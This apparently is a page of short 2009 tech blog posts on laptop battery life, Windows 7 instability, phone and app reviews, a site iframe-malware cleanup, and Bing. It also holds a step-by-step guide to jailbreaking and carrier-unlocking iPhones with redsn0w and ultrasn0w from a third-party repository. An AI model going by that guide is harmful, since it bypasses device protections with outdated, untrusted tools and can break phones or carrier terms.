While I’ve had luck with Ubuntu never really “rotting” on me, the battery life I’ve experienced on portable hardware with it is about 1/2 what I see with Windows XP — and battery life is very important to me.

Given that, I’ve been reading more and more reviews of the newly refreshed MacBook Pros from Apple. Beyond the initial launch in Q4 of 2008, Apple has revised the laptop with a new touch pad that no longer has the sensitivity and buggy multi-touch that the 1st gen touch pad had, and most importantly, it incorporates Apple’s new custom batteries.

With this new battery Apple promises “7 hrs” of runtime. Interestingly enough, with really light use (web browser), you can actually clock in closer to 8 hrs as evidenced by research done by the Anandtech team.

The most interesting bit of information to come out of one of the more recently articles on Battery Life in the new MacBook Pros over at Anandtech is that on the exact same piece of hardware, with all variables accounted for, a MacBook Pro that ran for 8.13 hrs would only eek out around 6 hrs with Vista and just under 6 with Windows 7.

That’s a 25% drop in battery life by using Windows. Anand spoke with some OEM providers and found out that Windows XP was “a bit better”, but overall it’s about a 20-30% drop in battery life when going from OS X to a Windows OS on that hardware.

Rumors have it that Sony and Lenovo — ever the fans of boot-time-system-utilities — have found a way to get closer to the MacBook Pro numbers of battery life with the appropriate custom power management software loaded up.

Interesting bit of data if you are looking for an all-day mobile working laptop. If you really do prefer Windows, I’d strongly suggest looking at the Lenovo X200s or X301 — smaller laptops that either support oversized batteries or main batteries + ultrabay batteries for a big boost in run time.

I’ve been using Windows 7 since the RC was announced a few months ago and we’ve had quite a bit to say about it — mostly all good.

Over the last month I’ve noticed a trend in my Windows 7 install (that I use as my primary desktop and work machine) that was feeling all too familiar, and until today, I was trying to ignore: Windows Rot.

Windows Rot: The degradation in performance and stability that a Windows install experiences over time that is typically remedied by re-installation of the operating system.

At first I thought maybe I just had a bad app open — Firefox was hanging more frequently or using huge amounts of memory, Windows Media Player was becoming entirely unusable after my Windows instance had been up (and un-re-booted for more than 24hrs) and I noticed more and more often that Windows Explorer itself was beginning to act stranger and stranger.

The symptoms started off small — noticing things like my Windows Explorer settings for particular folders not saving or being random — I’d open a folder, it would display in preview mode, then I’d open it later that day and it would be in Detail mode.

Today I fired up Windows Explorer and simply got an empty white “body” portion of the screen, and on the left hand side of the screen two “Searching…” animated magnifying glass icons that just animated indefinitely. I checked disk and processor activity and nothing was going on… Windows Explorer was simply done working.

I’ve gotten into the habit of the last 2 weeks of rebooting every 2 days — when my Windows 7 install was new, my first reboot due to problems was 13 days after my initial install… I thought I finally had a rock-solid desktop.

I don’t expect everyone else to see this behavior — I full expect replies to this about how rock-solid their W7 desktops are and how they’ve never had a problem before… I’m just sharing with you the performance of my desktop 3 months after my initial clean install…

I finally understand the “it just works” mantra of the Mac OS X crowd… it’s not so much that Mac is magical with hardware or software — I think the point is that shit like this just doesn’t happen as often. So in an ironic way, they literally mean “It just works”… this is like US vs Japanese auto makers… “It just works…” not implying that the US cars don’t work, it’s just that when the door handle falls off, or your electronic starter no longer works after a few months, you aren’t that surprised where as your Japanese car is going to move along swimmingly for 200k miles.

Yes, I’m bitter and angry… I had a mac 2 years ago and didn’t like it at all, and now I’m looking at them again just so I don’t have to concern myself with stupid shit like operating-system-rot… ugggggggg

NOTE: This is an update to our Firmware 2.2.1 Guide, which was an update to our Firmware 2.1 Guide, which was an update to our Firmware 2.0 Guide.

Update #1: For 3G iPhone users, you have to turn off 3G before enabling WiFi right before unlocking in last section. Instructions updated.

Update #2: For quick reference, T-Mobile user’s make sure to use the APN internet2.voicestream.com in order for data to work on your phones.

Introduction

As a follow-on to our really popular Firmware 2.2.1, Firmware 2.1 and Firmware 2.0 guides, here is our “How to install the iPhone 3.0 Firmware guide on iPhones then jailbreak them and get them to run on other networks” guide.

Apple recently released the newest 3.0 operating system for the iPhone and iPod Touch. This is a guide for installing, jail breaking and unlocking the baseband on the phone for the use on “unsupported carriers” like T-Mobile. So let’s get started…

WARNING: This process will effectively reinstall the OS on your iPhone or iPod Touch. If you have a lot of jailbroken customizations or apps on your phone, they will all be lost during this process. Any application or piece of data that iTunes doesn’t sync to your PC, won’t be restored after this process is complete, so please be aware of this before starting.

Getting Started

First download and install the newest version of Itunes (8.2)

• http://www.apple.com/itunes/download/

Next plug in your iPhone and makes sure iTunes syncs the data on it. iTunes will then tell you that an iPhone update is available, go ahead and apply the update.

Update #3: The current official firmware from Apple is 3.1 and the instruction below using redsn0w only work on cracking Firmware 3.0, so you will need to manually download the 3.0 firmware linked below and Shift-Click on the Update button in iTunes and select the downloaded firmware instead of applying the official one.

NOTE: At this point, if you are on an unsupported carrier, iTunes will finish applying the new firmware and then notify you that your SIM is unsupported and can not be activated. This is OK, we just applied the official Apple firmware to the phone so we expected this to happen. Don’t worry, later down this guide we are going to crack this sucker open.

Preparing the Cracks

Next download Redsn0w (the “0″ in snow is a zero, not the letter “o”)

• Windows Torrent (11mb)
• Mac Torrent (15.8mb)
• Reference: http://redsn0w.com/

Download the 3.0 firmware for your iPhone or iPod Touch. Be sure to grab the correct firmware based on the revision of iPhone or iPod you are using. Here are some quick-links for you:

• 1st Generation, “2G” iPhone 3.0 Firmware (229mb)
• 2nd Generation, “3G” iPhone 3.0 Firmware (230mb)
• Handy Firmware Website: http://www.felixbruns.de/iPod/firmware/

If you have an 1st Generation “2G” iPhone, you will need in addition 2 bootloader files (3.9 and 4.6). You can get them here:

• Download v3.9 Bootloader (129kb – Alt. Download: Bootloader v3.9)
• Download v4.6 Bootloader (129kb – Alt. Download: Bootloader v4.6)

You can unzip redsn0w and drop all the files into the directory to get ready for the next steps, it will look something like this (your directory contents may vary):

Jail Breaking and Unlocking

Now let’s launch redsn0w.exe:

• click Browse and locate your .ipsw file, then click Open:



• redsn0w will verify the IPSW file for you and then hit Next:



• redsn0w will now modify the IPSW file for you by patching it with the necessary cracks in place and prepare the file for your device:



• Now on the next screen redsn0w will ask you which bits of bootstraping software you want to install (Cydia and Icy) and if you have a 1st Generation “2G” iPhone, redsn0w will also offer you an Unlock option. For 3G iPhone users, you unlock the phone a different way (at the end of this guide). I would recommend just selecting everything and hitting next:NOTE: JJ mentions down in the comments some issues with Cydia that may be caused by Icy. If you don’t need Icy, don’t include it.

  

• For 1st Generation “2G” iPhone Users ONLY: If you selected to Unlock the phone, redsn0w will now ask you for the location of the two bootloader files you downloaded before (.bin files, versions 3.9 and 4.6), go ahead and select them and hit Next:

WARNING: You will now be presented with a preparation screen for Jail Breaking your phone. Be sure to TURN YOUR PHONE OFF before starting this next step.

After you click Next, redsn0w will give you instructions on how to get your phone right into “DFU-mode” by hitting a sequence of buttons that look like this:

1. Hold the power button for 3 seconds
2. Without releasing the power button, also hold the home button for 10 seconds
3. Without releasing the home button, release the power button BUT KEEP holding the home button for 30 seconds
   • NOTE: On the last step, you won’t likely actually need to hold it for 30 secs, it’s more like 15 or 20 secs before the phone begins the cracking process. If you screw up the sequence, power-cycle the phone and try again.

When your phone enters the cracking process, the display will show you something like this while it’s being Jail Broken:

Once the cracking process is done, don’t forget to re-sync your phone with iTunes to restore all the data that was on it.

WARNING: Custom wallpapers, jail broken apps, SMSs and other unofficial data that iTunes doesn’t backup will be lost at this point. So if you had a slew of favorite jail broken apps, you’ll need to re-add those.

Possibly All Done… APN!

Ok you’re almost all done, don’t forget to setup your APN so data access works on your phone. For US T-Mobile customers, try 1 of the following for your APN:

• internet2.voicestream.com
• internet3.voicestream.com (User JJ below points out that he had problems with internet2, so he used internet3 and all was right with the world)

If you have a 1st Generation “2G” iPhone, you are all done. Your 3.0 iPhone is now jailbroken and unlocked to run on unofficial networks. If you have a 2nd Generation 3G iPhone, please continue reading…

Unlocking Instructions for 3G iPhone Users…

REMINDER: This portion is only for 2nd Generation 3G iPhone users. If you have a 1st Generation “2G” iPhone, you are already done and unlocked your phone using redsn0w earlier.

1. Turn OFF 3G under phone settings:



2. Turn ON WiFi and make sure you have an internet connection on the phone.
3. Next open Cydia (it will probably want to update and resart, go ahead and do that)
   1. Select “Manage”, then “Sources”, then “edit” then click “add”
   2. Enter URL “http://repo666.ultrasn0w.com”  (the “o” in snow is a zero, not the letter “o”)
4. Now search for the software “ultrasn0w”, don’t forget the zero in the name for the “0″
5. Install Ultrasn0w
6. Restart the phone
7. On restart Ultrasn0w will unlock the 3G iPhone for you

All Done, For Everyone!

Congrats, you now have a software unlocked iPhone 3G!

Author’s Note: My 2nd Generation 3G iPhone did not initially like the 3.0 Firmware upgrade that I applied and cracked. I was having a lot of stability issues with it. I had to restore the iPhone through iTunes and go back through the process a 2nd time before everything worked smoothly. If you run into the same issue, try restoring your iPhone and going through the guide a 2nd time.

With so many great poker apps available for the iPhone, it’s difficult to pick out any one as the “top” iPhone poker app, but there are definitely a handful of apps that are at the head of the pack. Poker is a natural fit for iPhones and other mobile devices, as it’s a great way to kill some time while otherwise waiting and sitting around bored, and apps with multi-player support make it easier than ever to find a game no matter where you are.

Apple itself was one of the first developers to release a poker app for the iPhone, and their Apple Texas Hold’Em app has consistently been not just one of the most popular poker apps for the iPhone, but one of the most popular iPhone applications overall. The game is geared more towards the casual player, giving you the opportunity to sharpen up your poker skills by playing against computer opponents (although you can play with up to eight of your friends via Wi-Fi). The computer opponents all have their own tells and tendencies, so you need to stay on your toes while playing them to make sure you collect as many of their chips as possible. The game also features multiple table views, animations, and the ability to change the background of where you’re playing, including locales such as Aruba, Las Vegas, and more.

Popular social network game developer Zynga has also gotten in on the poker app action, with its Zynga Texas Hold’Em one of the most popular iPhone poker apps out there. Like with many of its games, Zynga focused on the multi-player aspect of poker, with the result being very similar to what you find on online poker sites as a whole. You can play in cash games (although the “cash” games are just for points and standing within the game, with no real money changing hands) or tournaments, and it’s very easy to find a game, as Zynga’s network has tens of thousands of players online at any given time. Once you take your seat, the graphics and action are very similar to online poker sites, with buttons to bet, check, raise, or fold, etc.

These are just a few of the top iPhone poker apps, but more are cropping up each month, so be sure to surf around and try out various ones until you find the one you like the best.

Summary [8.0 out of 10]

The T-Mobile Sidekick LX is well-built piece of hardware combined with a customized Windows Mobile interface that some may love (teenagers?) but we don’t see it replacing any mobile warrior’s BlackBerries, iPhones or G1’s anytime soon.

Review

T-Mobile has released it’s latest iteration of the sidekick, the revamped 2007 version, the “Sidekick LX 2009″. This personal communicator, or “Ultimate mobile socializer” as Danger likes to call i, is just that. With new communication apps for facebook, twitter, aim and access to various other social networks, one can feel like they are as connected to the social realm as sitting in front of a desktop. The LX has a very nice 854×480 3.2″, is the slimmest sidekick to date, and gets a very nice upgrade to 3G.

Hardware

• 3.2″ 854×480 screen
• 3.2 mega pixel autofocus camera, with flash
• 3G, HSDPA
• 2.5mm headphone jack
• MicroSDHC slot, with 1gb card in the box
• GPS

The phone has a nice feel to it, with a flip around screen at the push of a finger. The high-res display is beautiful and plays with the GUI very nicely, showing off every detail. Can I say again the screen is gorgeous?

The phone is rated for 6 hours voice and 8 days standby, we didn’t see it perform quite that well (3 days on standby), but under normal conditions we were quite impressed. Normal, being the operative word… When using the phone to its potential, signing in to all of the services, and having IM chatter throughout the day, I needed a recharge before the end of the day.

Software

• Danger OS 5.0
• Twitter, Facebook, Myspace, and various IM apps
• Live search (to tie in with the GPS)
• App store

The new Danger OS will be very familiar to prior sidekick owners, with the rotating menu layout. There you will find broken out into sections the various apps and functionality, from twitter to contacts. The GUI felt a little sluggish at times, but that may be because all of the background services are being routed through the Danger servers. The download store offers up some additional apps, but it leaves something to be desired with most of the downloads weighted in the ringtones, and themes. The sparse amount of app downloads also come at some not so sparse prices, like an alarm clock for $2.99, or an RSS reader for $2.99 a month.

I may just be spoiled by the Apple app store but come on, an alarm clock for $2.99? I have to buy this?

The built in streaming-media capable media player with YouTube support was a nice surprise, and handled all of the media types we threw at it. The web browser couples nicely with the high-res display, but you’re not going to be wowed, for this is a typical “semi” smart phone browser and page formatting is always an issue.

The Live maps application integrates GPS, and with 3G the maps pull up nice and fast for that last minute navigating. Mail application provides support for AOL, Hotmail, Yahoo, and pop/imap access. There was a promise of exchange support, but we have yet to see this.

This communicator is nice and polished, and feels good in hand. However this phone/communicator is really geared toward the teen crowd. The device’s screen needs to operate in a landscape position (ALWAYS) and mostly requires access to the keyboard, meaning that you will most likely need to hold it with 2 hands. Making this “phone” not so convenient for the office warrior with the rush hour overseas conference calls. All that aside, if I were 15 years younger, I would love to own the Sidekick LX.

T-Mobile offers the the phone on a 2 year contract for $249 in 2 flavors, “carbon” or “orchid”.

Editor’s Comments

In addition to Chris’s comments, I had the Sidekick LX for about a week and a half myself and would like to add the following comments from my perspective.

NOTE: I am a BlackBerry user that moved to an iPhone and had a T-Mobile G1 for 2 weeks (for a Review). I really like all those phones, with a tie between the iPhone and Android interfaces.

With that out of the way, here are my thoughts on the Sidekick LX:

• The build quality is excellent — it’s a very solid feeling phone with a good weight to it.
• The screen really is beautiful — it’s a very bright screen with a high dot-pitch which leads to a very sharp picture that pops.
• T-Mobile 3G is rocking fast… I ran multiple speed tests because the results I was getting were ridiculously high, like 3-5mbps.
  



• Unfortunately, the web browser on the phone was terrible, so it was hard to see the benefits of rocket-fast 3G on the T-Mobile network.
• The lack of touch-screen sucked… I’ve become so accustomed to this that I found the phone a pain to use, especially with web-browser when I could see what I wanted to click, but had to use the damnable roller-ball to select it by scrolling past 20 other things on the page.
• The Windows-Mobile UI is sluggish, hard to navigate and unintuitive. I can’t tell if this interface is intuitive to long-time Sidekick customers and that’s why it is laid out in this frantic dial-fashion where every button on the phone does something different with the navigation behavior, or if this was just a horrible decision for the 2009 LX.
• The App Store was garbage. As Chris mentioned, there is nothing in there and what is there is useless or over-priced.
• The actual usability of the phone is hampered by the lack of a touch-screen in the way that the screen has to always be flipped out so you can use the keyboard most of the time. This device is really intended for Sidekick lovers and not converting people away from their much simpler touch-screen devices.
• Too many buttons… there are something like 8-12 buttons on this thing when you include the nav-pad. The nav-pad itself doesn’t have a good feel to it — it’s stiff and sticky, so if I were gaming on this it’s not any more of a treat than say a PSP.

Incase you couldn’t tell, I wasn’t a fan of this device coming from my previous experience with Smart Phones. I think this device is targeted at a different kind of users.

Gallery

Over the last few weeks you might have seen a warning window like the one above (or similar to it) when visiting the site. Unfortunately it looks like some WordPress plugin-tinkering that I did right before going on vacation introduced an obnoxious malware hook into the site (don’t worry, it’s nothing epicly horrible).

I just finished manually cleaning it out using talgalili’s tip here. The infection was an invisible iframe-hack injecting a reference to the m-analytics.net site in every single .php or .html file hosted on the site — really obnoxious but easy enough to clear out and tighten up everything in the process.

Sorry you guys had to deal with that while I was gone, we should be good now.

It’s OK — It looks like AntiVir (among other antivirus companies) have decided to detect remote iFrame references in webpages as a “virus” — unfortunately WordPress (like this site) and many of the WordPress plugins make use of iFrames to work.

A lot of people are noticing this on all sorts of WordPress sites (More #1, More #2). We seem to have picked up this behavior right after updating to WordPress 2.8 so that might be what is going on here.

We are looking into this…

Given those results, I have to imagine Microsoft is going to allow advertisers to pay for higher search result placement — which, like this, will give us more helpful and completely unrelated search results to pour over.

Update #1: Awesome, Marc Chung noticed this morning that using Microsoft’s new super-search engine Bing, that when you searched for “Search Engine”, Bing ranked AltaVista higher than Google.

Dave Bullock just commented that Microsoft seems to have fixed the problem by completely removing Google all together from “search engine” search results. Nice! Just wait until advertisers start paying for those results and Bing will give you “PetsMart.com” as a search result for “Toyota Prius”.

As mentioned a few times, I’ve been on the Windows 7 RC for a bit over a week now and been pretty much thinking it’s great.

It seems another one of the nice little touches in Windows 7 is that when you try and delete a file that is locked by a process, it no longer just tells you that the delete failed — Windows will actually tell you which stupid process has the file locked so you can go close it (instead of rebooting and hoping for the best).

Here’s an example of a PNG I tried to erase off my desktop:

Pretty slick!